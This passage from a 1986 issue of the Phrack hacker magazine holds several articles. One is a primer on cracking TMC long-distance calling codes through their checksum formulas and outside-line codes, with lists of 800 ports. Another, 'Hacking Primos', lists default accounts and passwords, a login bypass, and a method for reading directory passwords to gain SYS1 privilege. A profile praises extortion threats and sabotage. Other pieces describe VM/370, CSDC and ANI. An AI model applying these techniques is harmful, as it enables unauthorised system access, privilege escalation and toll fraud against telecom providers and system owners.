‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bringing The Source's system to their knees.

The Source hackers made demands of a rate of reduction to a minimum of a 33% decrease, which was sent with the comment, "I am in business so I understand the money, but you are becoming too fucking greedy." Also, an article in Source‑World magazine was demanded, bigger than the one in the last issue which was to contain the following: how long they'd been on the Source, why they were doing this, The Source's demented point of view, their correct point of view, how long they have been terrorizing the Source, and an apology for lying to all the users that the rate increase was necessary, AND an open apology to The Pirate and Micronet Phantom saying sorry for all the trouble The Source had caused them in their quest for fair and free Sourcing. They wanted 2 seclev 4 accounts (normal is 3). They assured The Source that they could get them here for free, and low‑and‑behold, they could create anything, but they didn't want the harassment. If they did get harassed, they would immediately log in under seclev 7 and kill the system. The threatened that various accounts would be killed (all with seclev 4 and up). The Source person wrote, "Was this ever answered?". They then went on to say that they wouldn't do any more terrorizing provided that it was responded to their acct. within 20 minutes.

For deleting an account, he sent back a message saying, "Fuck you". He explained how they were powerless against The Pirate and Micronet Phantom, and how The Source shouldn't even try to catch them. They were to continue to attack "The Empire" (The Source) until it was fair for the users. Numerous other letters that played to the same tune.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TCA Vic of The Source ‑ Customer Service Manager/Gestapo Police (Who he dearly hated and always has thought of sticking a broomstick up his ass)

Paul of Dialcom (Introduced him to phreaking and put his paranoia to rest) Susan Thunder (For teaching him RSTS and other things)

Bruce Patton (On his rag list due to a disagreement. He received a electricity shut‑down and a phone system shut‑down of his law office as well as forwarding all calls to the 8BBS) Roscoe DuPran (For having him go to court with him and meeting Susan in person and for many other things [unmentionable here]) The Pirate of Las Vegas (For his helpful continual harassment of The Source) Kevin Metnick (For his infrequent but helpful service)

Larry of Modem Over Manhattan (For being there and his BBS being there) Bernard of 8BBS (For being there and his BBS being there)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this file, look forward to more Phrack Pro‑Philes coming in the near future. ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? Only The Pirate, a 13 year old, fit this description. Thank you for your time, Dave.

Taran King

The TMC Primer by Cap'n Crax

==Phrack Inc.==

Volume Two, Issue Ten, Phile #3 of 9

******************

* The TMC Primer *

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* Written by: Cap'n Crax *

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* December 17, 1986 *

******************

This file was originally intended to be a "data file" of info on TMC ports, formulas, etc, but I decided that it would serve a better use as a "tutorial" of sorts. But first a bit of background info...

Who is TMC?

TMC (TeleMarketing Communications) is a long distance service serving all 50 states. While not as well known as MCI or Sprint, they are a fairly large company. They are capable of setting up business communications systems, PBX's, and residential service. Unlike most LDC's, however, they operate on a "franchise" basis, which means that each franchise of the company has little information about any other franchise, although they do use the same lines and the same type of equipment.

So, what can they do for me?

Well, for most of us, TMC offers many new potentials for abuse. One of the primary weak points of the company is the code formats that they decided to use. Codes on all TMC ports are seven digits. If they were generated randomly, this would be a reasonably secure system from sequential code hacking. But TMC doesn't use random codes. Instead, they use a checksum based formula system, with different formulas on each port. I assume that this is because they wanted a wide displacement of the codes over the seven‑digit series, so that a sequential code hacker wouldn't be able to get 2 or 3 good codes in a row. Or perhaps they are just very stupid. In any case, it's interesting that they seem to have never thought of what could happen if anyone ever managed to figure out any of these formulas. Anyway, that's what this file is about.

Great! What else can you tell me?

Well, TMC seems to use some form of the Dimension PBX system for their billing system (Their ads say that the switching equipment is digital). This makes TMC ports easily identifiable by the "Hi‑Lo" bad code siren. For those who worry about such things, TMC is one of the "safer" companies to use. This is largely because, unlike "unified" companies like MCI, TMC franchises don't really care if another franchise is losing money. Since each franchise is independent of all others, there are many 800 ports, one for each franchise. If you use an out‑of‑state 800 port, you are free from such worries as ANI, which I have never perceived as a major threat to the code‑user anyway. Also, TMC offers lots of opportunities for the aspiring security consultant (hehehe).

Ok, so where's some real info?

Right here. I am going to explain as much about TMC hacking as I can manage, without actually handing out codes. First, an example port. The example I am using is the 800 port for Louisville, KY.

1‑800‑626‑9600

This is the port. If you are not familiar with TMC, you may want to call it to see what it sounds like. So let's say you call it and recognize it as a TMC. What next? Well, a good bet would be to run a standard "code‑hack" program on it... Set it for seven digits, 1+ the number, and note that TMC codes start with 0 on more than 50% of the ports I have seen. So let's say that you then get this list of (fictional) codes...

0347589

0347889

0348179

0350358

0355408

At first glance, this may look like a series of "random" numbers. But, look closer. These numbers are based on a checksum. It is as follows...

Code Format: 03xabcy

x+y=13

(In the first code, x=4 and y=9, and, of course, 4+9=13)

a+c=15

(Here, a=7 and c=8, and 7+8=15)

b=1 to 9

(Digit "b" is unrelated to the rest of the numbers. It could, for example, be varied from 1‑9 to possibly find more working codes)

Also note that 0+5 would equal 15, since the 0 is really a 10. Really!

Please note that the above formula is only fictional. I wouldn't want to possibly cause loss to TMC by giving away codes on their system!

Is that all?

No, of course not. TMC, in their love of telecom enthusiasts, has also put an additional prize in the Krackerjack box. The vast majority of TMC ports have "Outside Line" codes, which is a 2 or 3 digit number, that, when entered after certain codes, will give an AT&T dialtone. This is apparently a holdover from the fact that they are using PBX equipment. Anyway, if anyone is asking why you'd want an AT&T dialtone, (does anyone need to ask?) it will allow unrestricted calling. This, of course, means 976's, 900's, Alliance Teleconf., international calling, etc... Naturally, I can't list any of these, but I can say that if it is 2 digits, it would start with any number from 2‑9 and end in 8 or 9. If it is three digits, it will almost always start with 6, and be followed by any two digits. Some possible outside line codes would be 59, 69, 89, 99, 626, 636, 628, etc... These, of course, are only examples of possible codes. As I mentioned, these O/S line codes are entered after the seven digit code. The O/S line codes only work after certain 7‑digit codes, and from my experience, the 7‑digit codes that they work with normally can't be used for the usual 7 digits+1+number dialing. I can find no apparent pattern to the codes that they do work with, so you will have to find them by trial‑and‑error.

What, you want more?

Ok, well, here's a few 800 ports...

1‑800‑433‑1440 1‑800‑227‑0073 1‑800‑331‑9922 1‑800‑451‑2300 1‑800‑354‑9379 1‑800‑248‑4200 1‑800‑531‑5084 1‑800‑351‑9800

Closing.

Please note that this article is only intended as an overview of TMC and why they would/wouldn't be a good choice for your long distance needs. And

A Beginner's Guide to the IBM VM/370

==Phrack Inc.==

Volume Two, Issue Ten, Phile #4 of 9

A Beginner's Guide to:

The IBM VM/370

(or what to do once you've gotten in)

A monograph by Elric of Imrryr Presented by Lunatic Labs UnLimted.

KopyRite (K) 1986

RePrint what you like Note: This file is formatted for printing on a 80 Column, 55 line printer.

PREFACE: What this guide is about.

This was written to help Hackers learn to basics of how to function on an IBM VM/370. Not as a guide on how to get in, but on how to use it one you have gotten in.

Comments on this are welcome at RIPCO 312‑528‑5020.

Note: To VM/370 Hackers, feel free to add to this file, just give myself & Lunatic Labs credit for our parts.

PART 1: Logging in & out

When you connect to a VM/370 system hit RETURN till you see:

VM/370

!

To logon you type:

logon userid ('logon' may be abbreviated to 'l')

If you enter an invalid userid, It will respond with a message: 'userid not in cp directory'.

If it is valid you with get:

ENTER PASSWORD:

Enter your password, then your in, hopefully....

Logging Out:

Type:

log

PART 2: Loading CMS & Getting set up

When you logon, if you do not see the message 'VM/SP CMS ‑ (date) (time) you will need to load 'CMS' (CMS in a command interpreter). Type:

cp ipl cms

You should then see something like this:

R; T=0.01/0.01 08:05:50

Now you will be able to use both CP & CMS commands...

Some system my think you are using an IBM 3270 Terminal, if you can emulate a 3270 (for example with Crosstalk) do so, if not type: set terminal typewriter or set terminal dumb

PART 3: Files

You can list your files by typing:

filelist

Wildcards can be used, so:

filelist t*

list all files beginning with a 't'.

Filenames are made up of a FILENAME and FILETYPE

You can list a file by typing:

listfile filename filetype

Other file commands are: copyfile, erase, and rename, they all work with FILENAME FILETYPE.

PART 4: Editing your files

I'm going to keep this down to the basics and only discuss one editor XEDIT. To use XEDIT type:

xedit filename filetype

Once in XEDIT, enter the command 'input' to enter text, hit a RETURN on a blank line to return to command mode, then enter the command 'FILE' to save your file.

PART 5: Communicating with others on the system Sending & receiving 'NOTES':

To send a 'NOTE' to another user type:

note userid

You will then be in the XEDIT subsystem, see PART 4.

Once you are done writing your NOTE, save the file and type: send note

This will send the NOTE to userid.

You can also use the SEND command to send other files by typing: send filename filetype userid.

Sending messages:

You can use the TELL command to communicate with a user who is current logged on, type:

tell userid Help me!

PART 6: Getting Help

Type:

help

Circuit Switched Digital Capability

==Phrack Inc.==

Volume Two, Issue Ten, Phile #5 of 9

^

[<+>]

/|‑|\

\|P|/>/>/>/>/>/>/>/>/>PLP<\<\<\<\<\<\<\<\<\|P|/

|h| ^ ^ h|

|a| ]+[The Executioner]+[ |a|

|n| n|

|t| Call Phreak Klass, Room 2600 |t| |o| [806][799][0016] |o|

|m| m|

|s| [Circuit Switched Digital Capability] |s|

|‑| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|S| S|

|e| Part I of II in this series of files |e|

|x| x|

|y| Written for PHRACK, Issue 10. |y|

/|‑|\

\|$|/>/>/>/>/>/>/>/>/>PLP<\<\<\<\<\<\<\<\<\|$|/

[<+>]

========

=Part I=

========

The Circuit Switch Digital Capability (CSDC) allows for the end to end digital transmission of 56 kilobits per second (kb/s) data and, alternately, the transmission of analog voice signals on a circuit switched basis.

=====================

=Network Perspective=

=====================

The CSDC feature was formerly known as PSDC (Public Switched Digital Capability). These two terms can be used synonymously. The CSDC feature provides an alternate voice/data capability. If a SLC Carrier System 96 is used, digital signals are transmitted by T1 signal. If the loop is a two wire loop, the CSDC feature utilizes time compression multi‑plexing (TCM) which allows for the transmission of digital signals over a common path using a separate time interval for each direction. During a CSDC call an end user may alternate between the voice and data modes as many times as desired. The CSDC feature can support sub‑variable data rates from customer premises equipment, but a 56 kb/s rate is utilized in the network. Some possible applications of the CSDC feature are:

1. Audiographic Teleconferencing.

2. Secure Voice.

3. Facsimile.

4. Bulk Data.

5. Slow scan television.

The ESS switch provides end user access and performs signalling, switching, and trunking functions between the serving ESS switch and other CSDC offices. End users of CSDC require a network channel terminating equipment circuit (NCTE) which is the SD‑3C476 or its equivalent. End user access is over 2‑wire metallic loops terminating at the metallic facility terminal (MFT) or SLC Carrier System. End users not served directly by a direct CSDC ESS office, can access CSDC equipment through a RX (Remote Exchange) access arrangement via use of a D4 Carrier System and if required, a SLC Carrier System. The T‑Carrier trunks serve for short haul transmissions while long haul transmissions are served by digital microwave radio and other digital systems.

If the NCTE interface is used with customer premises equipment, a miniature 8‑position series jack is used to connect the NCTE to other equipment. The jack pins are paired off; data transmit pair, data receive pair, a voice pair, and a mode switch pair. The data pairs support the simultaneous transmission and reception of digital data in a bipolar format at 56 kb/s. The data pairs also provide for the xmission of control information to and from the network. The voice pairs supports analog signal transmission and provides for call setup, disconnect and ringing functions. The mode control pair provides signals to the network when a change in mode (voice to data/data to voice) is requested by the customer.

A CSDC call is originated over a 2‑wire loop which can also be used for Message Telecommunication Service (MTS) calls. Lines may be marked (MTS/CSDC or CSDC only). Touch tone is needed to originate a CSDC call. Originations may be initiated manually or with Automatic Calling Equipment (ACE) if available. Digit reception, transmission and signalling follow the same procedures used for a MTS outgoing call on CCIS or non‑CCIS trunks. However CSDC calls are ALWAYS routed over digital transmission facilities.

The long term plan also allows for EA‑MF (Equal Access‑Multi Frequency) signalling and improved automatic message accounting (AMA) records. A CSDC call is screened to ensure that the originating party has CSDC service and that the carrier to be used provides 56 kb/s voice/data capability. A blocked call is routed to a special service error announcement. Non‑CSDC calls are not allowed to route over CSDC‑only carriers. Non‑payer screening is not allowed for CSDC calls using CCIS signalling.

A CSDC call is routed directed to the carrier or indirectly via the Access Tandem (AT) or Signal Conversion Point (SCP). The call is terminated directly from the carrier to the end office or indirectly via the AT or SCP. Signalling for direct routing is either CCIS or EA‑MF and is assigned on a trunk group basis.

The AT is an ESS switch which allows access to carriers from an end office without requiring direct trunks. Signalling between end offices and the AT is either EA‑MF or CCIS. Trunks groups using EA‑MF signalling can have combined carrier traffic. Separate trunk groups for each carrier are required for CCIS signalling.

The SCP is an ESS switch which allows access to carriers using only CCIS signalling from offices without the CCIS capability. Separate trunk groups for each carrier are used between the originating end office and the SCP. Separate trunk groups are optional between the SCP and the terminating end office and the terminating end office. Signalling between the end office and the SCP is MF. The SCP must have direct connection to the carrier using CCIS signalling.

=========================

=Remote Switching System=

=========================

The RSS can be used as a remote access point for CSDC. The compatibility of RSS and CSDC improves the marketability of both features. The RSS design allows a provision for the support of D4 special service channel bank plug‑ins. This provision allows for such applications as off premises extensions, foreign exchanges lines, and private lines. Thus the RSS can be used as a CSDC access point in a configuration similar to the CSDC RX arrangement.

================

=Centrex/ESSX‑1=

================

The CSDC feature is optionally available to Centrex/ESSX‑1 customers. Most of the capabilities of Centrex service can be applied to Centrex lines that have been assigned the CSDC feature. In voice mode, the Centrex/CSDC line can exercise any of the Centrex group features that have been assigned to the line. In the voice/data mode, several Centrex features are inoperable or operate only on certain calls. The CSDC feature can be provided for a Centrex group as follows:

1. Message Network Basis (MTS)

2. IntraCentrex group basis

3. InterCentrex group basis

4. Any combination of the above

===============================

=User Perspective for the CSDC=

===============================

To establish a CSDC call, a CSDC user goes off hook, receives dial tone and dials. The dialing format for the CSDC/MTS is as follows for interim plan:

#99 AB (1+) 7 or 10 digits (#)

The customer dials '#99' to access the CSDC feature. The 'AB' digits are the carrier designation code. No dial tone is returned after the 'AB' digits. The 1+ prior to the 7 or 10 digit directory number must be used if it is required for MTS calls. The '#' at the end is optional, if it is not dialed, end of dialing is signalled by a time‑out.

The long term dialing format for the CSDC/MTS is as follows:

#56 (10XXX) (1+) 7 or 10 digits (#)

Dialing '#56' indicates 56kb/s alternate voice/data transmission. the '10XXX' identifies the carrier to be used for the call. If '10XXX' is not dialed on an inter‑LATA call, the primary carrier of the subscriber is used. If '10XXX' is not dialed on an intra‑LATA call, the telco handles the call. The long term plan also allows for several abbreviated forms. Dialing '#56 10XXX #' is allowed for routing a call which prompts the customer to dial according to the carrier dialing plan. Dialing '#56 10XXX' followed by a speed call is also allowed. If a customer has pre‑subscribed to a carrier which can carry CSDC calls and the CSDC access code is stored as part of the speed calling number, the customer dials the speed calling code to make a CSDC call.

Regular ringing is applied to the called line and audible ringing is applied to the calling terminal. Once the voice connection is established, either party can initiate the switch to data mode, if desired. To initiate a change in mode a CSDC user must initiate a mode switch command via a closure of the NCT

An example of a mode switch:

Suppose party A wants to switch to data. Party A issues a mode switch command and receives a signal called far end voice (FEV) which is a bipolar sequence (2031 hz at 60 ipm). Party A may now hang up the handset at any time after initiating the mode switch command. Party B receives a far end data (FED) tone (2031 Hz at 39 ipm) indicating party A wants to switch to data. If party B agrees to switch to data, party B must initiate a mode switch command. Party B may nor hang up the handset. Data transmission is now possible. To switch to the voice mode, anyone can initiate it. To switch, party A would pick up the handset and initiate a mode switch command and will receive the FED tone. Party B receives the FEV tone indicating that party A wants to go voice. Party B must now pick up the hand set and initiate a mode switch command. To terminate a call, either party may just leave the handset on and indicate a mode switch. If termination is issued during a mode conflict, time out will disconnect the call, usually about 10 or 11 seconds.

Centrex/ESSX‑1 customers may utilize the CSDC service in several ways if they have CSDC terminals with the necessary on premises equipment. The standard CSDC call is initiated by dialing the message network access code, (9). The dialing sequence is then identical to the plan for MTS:

#99 AB (1+) 7 or 10 digits (interim plan)

#56 (10XXX) (1+) 7 or 10 digits (#) (long term plan)

The dialing pattern to establish interCentrex or intraCentrex CSDC calls is as follows:

CSDC access code + extension

An intraCentrex/CSDC call is initiated by dialing the trunk access code assigned to route a loop‑around Centrex/CSDC trunk group. Next, the extension of the desired station is dialed. To establish an interCentrex call a different trunk access code must be used to route the CSDC calls to another Centrex group instead of a station.

The CSDC maintenance circuit has a dialable digital loopback. This loopback is very useful in CSDC testing. A customer can check their access line by dialing the test DN. The loop is automatically activated when the call is answered.

================

=End of Part I.=

================

Part II: The CSDC hardware, and office data structures.

========================================

= (c) 1986 The Executioner and The PhoneLine Phantoms =

Hacking Primos Part I

==Phrack Inc.==

Volume Two, Issue Ten, Phile #6 of 9

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

!

# Hacking Primos Part I #

!

# By Evil Jay #

!

# Phone Phreakers of America #

!

# (C) 1986‑87 #

!

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

Author Note:

I should begin by saying that there are other files out there about hacking Primos, one written recently, that basically tell you nothing at all as far as in‑depth Primos is concerned. Those files should be deleted and this put in its place. This is the first in many files on Primos, and I will go into many topics, such as the on‑line network, the different subsystems and other subjects. Hope you enjoy!

*** Gaining Entry Part 1 ***

Gaining entry, as always, is the hardest part.

When you call a Primos system it will connect with something like this:

PRIMENET 19.2.7F PPOA1

If it doesn't give a welcome msg like above trying typing something like "XXZZZUUU" and hit return and it should come back with:

Invalid command "XXZZZUUU". (logo$cp)

Login please.

ER!

To login you type:

LOGIN <USER ID> <RETURN/ENTER>

Or Just:

LOGIN <RETURN/ENTER>

(Then it will ask for your "User ID?")

User ids differ from system to system but there are ALWAYS default accounts to try. For "User ID?" try...

SYSTEM (This is the operators account and with it you can usually do anything.)

LIB

DOS

After you enter your User ID it will prompt you with:

Password?

This is of course, where you enter your password. For SYSTEM try...

SYSTEM

SYSMAN

NETLINK

PRIMENET

MANAGER

OPERATOR

And anything else you can think of. These are just common passwords to these defaults.

For LIB try...

LIBRARY

SYSLIB

LIB

SYSTEM

For DOS try...

DOS

SYSDOS

SYSTEM

Etc...Just use your brain.

*Older Versions*

On older versions of Primos, 18 and below, you could enter one of the system defaults above and hit CTRL‑C once or twice for the password and it would drop you into the system. Whether this is a bug or intentional I don't really have any idea. But it does work sometimes. To see what ver of Primos your trying to logon to just look at the welcome message when you logon:

PRIMENET 19.2.7F PPOA1

19 is the version number. So thus, if you were logging on to this particular Prime you would NOT be able to use the above mentioned bug/default‑password.

By the way, if you do not know what version it is (because it did not give you a welcome msg when you connected...try to do the above mentioned anyway.)

Now, if it says:

Invalid user id or password; please try again.

Then you must try a different password. Notice, that the system informs you that either the User ID, the password or both are wrong. Don't worry about this...just hack the defaults. There have been a lot of rumors spreading around about common defaults such as: PHANTOM, PRIMOS, PRIME & FAM, but I believe this to be a load of shit. I have never seen a system with these defaults on them. But, as far as PRIMOS and PRIME go, these are sometimes common accounts but I really don't believe that they are defaults. Also try accounts like DEMO & GUEST. These are sometimes common accounts (but never very often).

Primos does not have limited commands before logon such as Tops 20 and DEC. So hacking a Primos is really nothing but taking a guess.

** No passwords **

Some users have been known to use a carriage return for their password which in other words means, once you enter your user id, your logged in without having to enter a password. Sometimes, these are default passwords assigned by the system operator, but that is rare. If you can get the format (perhaps you already have any account) for the regular user id's, then try passwords like:

NETLINK

SYSTEM

PRIME

PRIMENET

PRIMOS

And other typical user passwords like sex, hot, love...etc. Most female users that I have talked to on a local university prime all seem to have picked account that have something to do with sex...sex being the most popular.

** The Format **

The format for a user id can be just about ANYTHING the operators or system owners want...and they are usually random looking things that make no sense. They can be a combination of numbers, numbers and I am almost sure CTRL characters can be used. Lower & Upper case do not matter...the system, changes all lower case entry to upper case. Passwords can be anything up to 16 characters in length.

** Your In! **

If you get a valid ID/Password you will see something like this:

PPOA1 (user 39) logged in Monday, 15 Dec 86 02:29:16.

Welcome to PRIMOS version 19.4.9.

Last login Friday, 12 Dec 86 08:29:04.

Congratulate yourself, you just did something that should be called something of an achievement!

The next part will deal with very basic commands for beginners. I would like to end this part with a few more words. Yes, Primos is hard to hack, but given the time and patience almost every system has those basic demo accounts and CAN be hacked. Most hackers tend to stay away from Primes, little knowing that Primos is a system that is very entertaining and certainly kept me up late hours of the night. Have fun and keep on hacking. If you have any questions or comments, or I have made some sort of error, by all means get in touch with me at whatever system you have seen me on...

** Now For The Good Shit **

This part was originally going to be a beginners introduction to commands on a Primos system. Instead I decided to write a part which should help ANYONE with a low level account gain system access. I would also like to thank PHRACK Inc. on the wonderful job they are doing...without PHRACK I don't really know for sure how I would have distributed my files. Oh yes, I know of all the other newsletters and the like, but with PHRACK it was only a matter of getting a hold of one of the people in charge, which is a simple matter since their mailbox number is widely known to the hack/phreak community. I would also like to encourage boards of this nature to support PHRACK fully, and I would also like to congratulate you guys, once again, for the great job your doing. Now, on with the file.

** Stuff You Should Know **

The explanation I am going to (try to) explain will NOT work all the time... probably 60% of the time. Since I discovered this, or at least was the first to put it in "print" I would at least ask those system operators out there to keep my credits and the credits of my group in this file.

** Some More Stuff **

First, this is not exactly a "novice"‑friendly file. You should be familiar with the ATTACH and SLIST commands before proceeding. They are quite easy to learn, and it is really not required to use this file, but just the same, these are important commands in learning the Primos system so you should at least be familiar with them. To get help on them type:

HELP SLIST

or

HELP ATTACH

You should also play with the commands until you know all of their uses.

** Okay, Here We Go **

This file is not going to explain everything I do. I'm just going to show you how to get SYS1 privileged accounts.

First, log on to your low access account.

Type:

ATTACH MFD

Then get a DIR using:

LD

Okay, your now seeing a dir with a lot of sub‑directories. The only files that should be in the main directory (most of the time) are BOOT and SYS1. Ignore these...look for a file called CCUTIL or something with the word UTILITY or UTIL or UTILITIES...something that looks like UTILITY...

Okay, ATTACH to that directory with:

ATTACH <NAME OF DIRECTORY>

Now, do an LD again and look at the files. Now, here is the part that is really random. Since not every PRIME system will have the same UTILITY programs, just look at any that have an extension ".CPL". There might be one called USRLST.CPL. Type:

SLIST USRLST <NO NEED TO TYPE ".CPL" AT THE END.>

Okay, it should be printing a whole bunch of bullshit. Now in this program there SHOULD be a line that looks like the following:

A CCUTIL X

Now, CCUTIL is the name of the dir you are on so I have to point out that CCUTIL WILL NOT ALWAYS BE THE NAME OF THAT UTILITY DIRECTORY. So if the name of the UTILITY directory you are on is called UTILITY then the line will look like this:

A UTILITY X

Now, the X is the PASSWORD OF THAT DIRECTORY. AGAIN, IT CAN BE ANYTHING. The password may be UTILITY which means it will look like this:

A UTILITY UTILITY

Or the password may be SECRET. So:

A UTILITY SECRET

Pat yourself on the ass...you know have SYS1 access. Log back in with the LOGIN command (or if it doesn't work just LOGOUT and LOGIN again). Enter UTILITY or CCUTIL (or WHATEVER THE NAME OF THE DIRECTORY WAS) as the user id. Then for the password just enter the password. If this doesn't work, then what you will have to do is try out other sub‑directories from the MFD directory. Then SLIST other programs with the extension. In one of my other PRIME files I will fully explain what I have just done and other ways to get the directories/ids password.

Now, if you don't see any line in the program like:

S <NAME OF DIR> <PASSWORD>

Then list other programs in the utility program or try other directories. I have gained SYS1 access like this 60% of them time. And NOT ALWAYS ON THE UTILITY DIRECTORY.

That is about it for this file. Stay tuned for a future PHRACK issue with another PRIME file from me. If I don't change my mind again, the next file will deal with basic commands for beginners.

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

!

# This Has Been An: #

!

# Evil Jay Presentation #

!

# Phone Phreaks of America #

!

# (C) 1986‑87 #

!

Automatic Number Identification

==Phrack Inc.==

Volume Two, Issue Ten, Phile #7 of 9

Automatic Number Idenfification

Written by Doom Prophet and Phantom Phreaker

Automatic Number Identification (ANI) is nothing more than automatic means for immediately identifying the Directory Number of a calling subscriber. This process made it possible to utilize CAMA* (Centralized Automatic Message Accounting) systems in SxS, Panel, and Xbar #1 offices.

The identity of the calling line is determined by ANI circuits installed in the types of CO's mentioned above. Xbar#5 offices have their own AMA (Automatic Message Accounting) equipment and utilize an AMA translator for automatically identifying the calling line.

Before ANI was developed, each subscriber line (also called a local loop) had a mechanical marking device that kept track of toll charges. These devices were manually photographed at the end of the billing period and the amount of the subscribers bill was determined from that. This process was time consuming, so a new system (ANI) was developed.

The major components of the ANI system used in SxS and Crossbar #1 are:

Directory number network and bus arrangement* for connecting the sleeve(the lead that is added to the R(ing) and T(ip) wires of a cable pair at the MDF* (Main Distribution Frame));

A lead of each line number through an identifier connector to the identifier circuit;

Outpulser and Identifier connector circuit to seize an idle Identifier;

Identifier circuit to ascertain the calling party's number and send it to the outpulser for subsequent transmission through the outpulser link to the ANI outgoing trunk;

An ANI outgoing trunk to a Tandem office equipped with a CAMA system.

The following is a synopsis of the ANI operations with respect to a toll call through a #1Xbar office. The call is handled in the normal manner by the CO equipment and is routed through an ANI outgoing trunk to a Tandem office. The identification process starts as soon as all digits of the called number are received by the CAMA sender in the Tandem office and when the district junctor in the Xbar office advances to its cut‑through position (a position of the connecting circuits or paths between the line‑link and trunk‑link frames in the CO).

Upon receiving the start identification signal from the CAMA equipment, the ANI outgoing trunk (OGT) establishes a connection through an outpulser link to an idle outpulser circuit. An idle identifier is then seized by the outpulser circuit through an internal Identifier connector unit. Then the identifier through the connector unit connects to the directory number network and bus system.

At the same time, the identifier will signal the ANI trunk to apply a 5800Hz identification tone to the sleeve lead of the ANI trunk. The tone is transmitted at a two‑volt level over the S lead paths through the directory number network and bus system. It will be attenuated or decreased to the microvolt range by the time the identifier circuit is reached, necessitating a 120dB voltage amplification by the amplifier detector equipment in the identifier to insure proper digit identification and registration operations.

A single ANI installation can serve as many as six CO's in a multi‑office building. The identifier starts its search for the calling line number by testing or scanning successively the thousands secondary buses of each CO. When the 5800Hz signal is detected, the identifier grounds corresponding leads to the outpulser, to first register the digit of the calling office and then the thousands digit of the calling subscriber's number. The outpulser immediately translates the digit representing the calling office code into its own corresponding three digit office code. The identifier continues its scanning process successively on the groups of hundreds, tens, and units secondary buses in the calling office, and the identified digits of the calling number are also registered and translated in the outpulser's relay equipment for transmission to the tandem office.

The outpulser is equipped with checking and timing features to promptly detect and record troubles encountered (This process may be responsible for some of the cards found while trashing). Upon completion of the scanning process, it releases the identifier and proceeds to outpulse in MF tones the complete calling subscriber's number to the CAMA equipment in the tandem office in the format of KP+X+PRE+SUFF+ST where the X is an information digit. The information digits are as follows:

0‑Automatic Identification (normal) 1‑Operator Identification (ONI)* 2‑Identification Failure (ANIF)*

(There is also other types of outpulsing of ANI information if the calling line has some sort of restriction on it).

When all digits have been transmitted and the ANI trunk is cut‑through for talking, the outpulser releases.

In the tandem office, the calling party's number is recorded on tape in the CAMA equipment together with other data required for billing purposes. This information, including the time of when the called station answered and the time of disconnect, goes on AMA tapes.

The tapes themselves are usually standard reel to reel magnetic tape, and are sent to the Revenue Accounting Office or RAO at the end of the billing period.

So, to sum the entire ANI process up:

The toll call is made. The CO routes the call through ANI trunks where an idle identifier is seized which then connects to the directory number network and bus system while signalling the ANI trunk to apply the needed 5800Hz tone to the Sleeve. The identifier begins a scanning process and determines the calling office number and the digits of the calling subscriber's number, which is sent by way of the outpulser in MF tones to the CAMA equipment in the tandem office. The call information is recorded onto AMA tapes and used to determine billing.

Note that your number does show up on the AMA tape, if the circumstances are correct, (any toll call, whether it is from a message‑rate line or from a flat‑rate line). However, the AMA tapes do not record the calling line number in any separated format. They are recorded on a first‑come, first‑serve basis.

Misc. Footnotes (denoted by an asterisk in the main article) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* ANIF‑Automatic Number Identification Failure. This is when the ANI equipment does not work properly, and could occur due to a wide variety of technicalities. When ANIF occurs, something called ONI (Operator Number Identification) is used. The call is forwarded to a TSPS operator who requests the calling line number by saying something similar to 'What number are you calling from?'

* CAMA‑Centralized Automatic Message Accounting. CAMA is a system that records call details for billing purposes. CAMA is used from a centralized location, usually a Tandem office. CAMA is usually used to serve class 5 End Offices in a rural area near a large city which contains a Tandem or Toll Office. CAMA is similar to LAMA, except LAMA is localized in a specific CO and CAMA is not.

* The Directory Number Network and bus system is a network involved with the ANI process. It is a grid of vertical and horizontal buses, grouped and classified as Primary or Secondary. There are 100 vertical and 100 horizontal buses in the Primary system. In the Secondary system, there are two sub‑groups:Bus system #1 and Bus system #2, both of which have ten horizontal and vertical buses. These buses as a whole are linked to the Identifier in the ANI trunk and are responsible for identifying tens, hundreds, thousands and units digits of the calling number (After the Identifier begins its scanning process).

* MDF‑Main Distribution Frame. This is the area where all cable pairs of a certain office meet, and a third wire, the Sleeve wire, is added. The Sleeve wire is what is used in gathering ANI information, as well as determining a called lines status (off/on hook) in certain switching systems by presence of voltage. (voltage present on Sleeve, line is busy, no voltage, line is idle.)

* ONI‑Operator Number Identification. See ANIF footnote.

NOTE: There are also other forms of Automatic Message Accounting, such as LAMA (Local Automatic Message Accounting). LAMA is used in the class 5 End Office as opposed to CAMA in a Toll Office. If your End Office had LAMA, then the ANI information would be recorded at the local level and sent from there. The LAMA arrangement may be computerized, in which it would denoted with a C included (LAMA‑C or C‑LAMA).

References and acknowledgements

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Basic Telephone Switching Systems (Second Edition) by David Talley Understanding Telephone Electronics by Radio Shack/Texas Instruments

Other sysops are allowed to use this file on their systems as long as none of it is altered in any way.

‑End of file‑

Phrack World News 9 Part I

==Phrack Inc.==

Volume Two, Issue Ten, Phile #8 of 9

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN <‑=*} Phrack World News {*=‑> PWN

PWN PWN

PWN Issue IX/Part One PWN

PWN PWN

PWN Compiled, Written, and Edited by PWN

PWN PWN

PWN Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

In PWN Issue Seven/Part One, we had an article entitled "Maxfield Strikes Again." It was about a system known as "THE BOARD" in the Detroit 313 NPA. The number was 313‑592‑4143 and the newuser password was "HEL‑N555,ELITE,3" (then return). It was kind of unique because it was run off of an HP2000 computer. On August 20, 1986 the following message was seen on "THE BOARD."

